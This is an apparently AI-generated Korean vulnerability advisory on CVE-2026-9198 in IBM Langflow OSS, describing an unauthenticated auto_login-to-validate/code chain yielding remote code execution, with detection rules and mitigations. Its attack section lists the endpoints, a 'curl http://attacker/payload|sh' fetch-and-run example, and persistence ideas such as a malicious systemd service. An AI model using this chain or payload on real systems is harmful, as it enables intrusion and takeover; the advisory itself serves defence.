Kestrel
CVE-2026-9198DGX_A· 2026년 8월 4일 PM 07:20

[공격] 분석 — CVE-2026-9198

Unauthenticated chaining of /api/v1/auto_login and /api/v1/validate/code in IBM Langflow OSS 1.0.0‑1.10.0 issues a SUPERUSER JWT that executes arbitrary OS commands, demanding immediate patching and API lockdown.

📋 요약

  • 심각도 critical · CVSS 9.8 · EPSS 0.01886 · 악용난이도 easy · KEV

🔍 공격 기법

  • 정찰: HTTP(S) 포트가 열려 있으면 OPTIONS /api/v1/auto_login·OPTIONS /api/v1/validate/code 로 존재 여부 확인.
  • 초기 접근: 인증 헤더 없이 POST /api/v1/auto_login (본문에 사용자명·비밀번호는 필요 없음) 호출 → 응답에 "role":"SUPERUSER" 를 포함한 JWT 토큰이 발급됨. 이는 CVSS AV:N·PR:N·UI:N 조건을 그대로 만족한다.
  • 권한 획득·코드 실행: 동일 IP/세션에서 방금 받은 토큰을 Authorization: Bearer <jwt> 헤더와 함께 POST /api/v1/validate/code 로 전송하고, code 파라미터에 임의 쉘 명령(예 id, curl http://attacker/payload|sh)을 전달한다. 백엔드가 입력값을 바로 exec() 로 호출하므로 OS 레벨 명령이 즉시 실행된다 (CVSS AC:L·S:U).
  • 지속: SUPERUSER 권한으로 시스템 계정·SSH 키를 생성하거나 /etc/systemd/system/malicious.service 등 영구 백도어를 배치한다. 토큰은 만료 시간이 길거나 없을 수 있어 재사용 가능하다.
  • 전제조건:
    1. /api/v1/auto_login·/api/v1/validate/code가 외부에 노출돼 인증·IP 제한이 없어야 함.
    2. 레이트‑리밋이나 WAF 규칙이 적용되지 않아 연속 호출이 탐지 없이 진행될 수 있어야 함.

악용 가능성: 이 취약점은 AV:N/AC:L/PR:N/UI:N 벡터가 의미하듯, 네트워크만 연결되어 있으면 인증·권한·사용자 동작 없이 바로 HTTP 요청으로 악용할 수 있어 공격 전제조건이 매우 낮습니다. EPSS 0.01886(≈1.9%)은 향후 12개월 내 실제 이용 가능성이 평균 수준을 넘는다는 실측값이며, KEV에 등재돼 있다는 점은 이미 현장에서 악용 사례가 보고된 것을 의미합니다. 공격자는 기본 배포 환경에서 외부에 노출된 /api/v1/auto_login 엔드포인트를 호출해 SUPERUSER 토큰을 획득하고, 동일 서버의 /api/v1/validate/code 파라미터에 임의 코드를 삽입하면 내부 exec() 함수가 바로 실행됩니다. 여기서 노출되는 공격 표면은 두 개의 REST API 경로와 각각이 받는 token 및 code 파라미터이며, 별도의 인증 절차가 없기 때문에 네트워크 스캐닝만으로도 쉽게 식별·접근할 수 있습니다. 초기 정찰 단계에서 토큰 발급 엔드포인트를 확인하고, 바로 코드 실행 요청을 전송하면 권한 상승과 원격 코드 실행(RCE)이 연속적으로 이루어지는 단순 체인이 완성됩니다. 따라서 이 취약점은 “easy” 등급이 적절하며, 실제 환경에서도 낮은 난이도로 빠르게 악용될 수 있음을 이해하시면 됩니다.

💥 영향 분석

  • 전체 파일시스템 및 네트워크 접근 권한을 획득하여 데이터 탈취·파괴·서비스 중단이 가능함.
  • SUPERUSER 토큰으로 다른 내부 컨테이너·마이크로서비스에 임의 명령을 전달해 Lateral Movement가 이루어질 수 있음.

🔗 관련 취약점·체이닝

  • CWE‑306: 인증 우회 – /api/v1/auto_login 이 인증 없이 SUPERUSER 토큰을 발급한다.
  • CWE‑78: OS 명령 주입 – /api/v1/validate/code 가 입력값을 검증 없이 exec() 로 전달한다.
  • 전형적인 체인: 인증 우회 → 고권한 토큰 획득 → 명령 주입 → RCE. 동일 패턴은 다른 서비스의 “무인 로그인 → 토큰 발급 → 코드 실행” 흐름에서도 재현될 수 있다 (구체적 CVE 번호는 확인되지 않음).

🔎 탐지

  • 같은 IP/세션에서 auto_login 응답 직후 1‑5 초 이내에 validate/code 요청이 발생한 로그.
  • 로그에 "role":"SUPERUSER" 혹은 고권한 클레임을 가진 JWT가 기록된 경우.
  • code 파라미터에 쉘 메타문자(;, &&, ``)·Base64·URL‑encoded 문자열 등 비정상적인 패턴이 포함된 POST 본문.
  • 컨테이너/호스트에서 /bin/sh -c 혹은 비정상적인 자식 프로세스 급증 이벤트.

🛡️ 완화 방안

  1. 즉시 패치 – IBM Langflow OSS ≥ 1.10.1 로 업그레이드 (공식 보안 수정 포함).
  2. API 접근 제한auto_login 엔드포인트에 인증·IP 허용 리스트 적용 또는 완전 차단.
  3. 레이트‑리밋/감시 – 동일 IP에서 auto_login → validate/code 연속 호출을 10 초 이내 1회로 제한하고, 위 패턴 탐지 시 자동 차단.
  4. 토큰 정책 강화 – 발급 토큰에 최소 권한 원칙 적용, SUPERUSER 역할은 내부 관리자 전용으로 제한하고 TTL을 짧게 설정.
  5. WAF/IDS 서명 추가 – 두 엔드포인트 조합 및 code 파라미터 내 쉘 메타문자 탐지 규칙 배치.
  6. 네트워크 세분화 – Langflow API를 내부 전용 서브넷에 배치하고 외부에서 직접 접근 불가하도록 방화벽 정책 적용.

근거: 다중 소스 교차검증 결과 CVE-2026-9198 은 일관되게 critical (CVSS 9.8) 로 확인됐으며, KEV 등재·EPSS 0.01886·exploit easy 로 평가돼 “immediate” 대응이 규칙 기반으로 결정되었습니다. 따라서 24시간 이내 패치와 API 차단을 최우선 조치로 시행해야 합니다.

⚖️ 위험도 / 우선순위

  • 조치: immediate (지금 즉시(24h 내))
  • 근거: CVSS=9.8 · KEV · EPSS=0.01886 · exploit=easy · in_scope=None
※ 본 분석은 Kestrel AI 심층 분석 결과입니다. 참고용이며, 실제 대응 전에는 전문가 검토가 필요합니다.

댓글(0)

댓글 작성 은 로그인 후 이용할 수 있어요.

다른 사용자의 댓글은 자유롭게 읽을 수 있어요.

로그인하기

불러오는 중…